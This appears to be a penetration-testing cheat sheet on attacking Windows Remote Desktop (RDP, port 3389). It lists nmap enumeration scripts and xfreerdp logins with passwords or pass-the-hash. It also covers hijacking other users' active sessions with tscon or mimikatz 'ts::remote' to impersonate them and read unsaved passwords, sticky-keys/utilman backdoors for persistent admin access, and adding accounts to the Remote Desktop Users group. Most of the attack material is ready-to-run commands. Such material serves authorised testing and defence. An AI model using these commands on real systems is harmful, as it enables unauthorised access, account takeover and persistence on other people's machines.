Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software (from here).
Default port: 3389
PORT STATE SERVICE3389/tcp open ms-wbt-server
rdesktop -u <username> <IP>rdesktop -d <domain> -u <username> -p <password> <IP>xfreerdp /u:[domain\]<username> /p:<password> /v:<IP>xfreerdp /u:[domain\]<username> /pth:<hash> /v:<IP>
Be careful, you could lock accounts
rdp_check.py from impacket let you check if some credentials are valid for a RDP service:
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
It checks the available encryption and DoS vulnerability (without causing DoS to the service) and obtains NTLM Windows info (versions).
You can launch a new cmd to wich new credentials will be attached so, every interaction this new shell makes with the network will use the new credentials:
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
With Administrator rights you can access any opened RDP session by any user without need to know the password of the owner.
Get openned sessions:
Access to the selected session
tscon <ID> /dest:<SESSIONNAME>
Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.
Important: When you access an active RDP sessions you will kickoff the user that was using it.
You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user (passwords in notepad without been saved in disk, other RDP sessions opened in other machines...)
You could also use mimikatz to do this:
ts::sessions #Get sessionsts::remote /id:2 #Connect to the session
Combining this technique with stickykeys or utilman you will be able to access a administrative CMD and any RDP session anytime
You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer
net localgroup "Remote Desktop Users" UserLoginName /add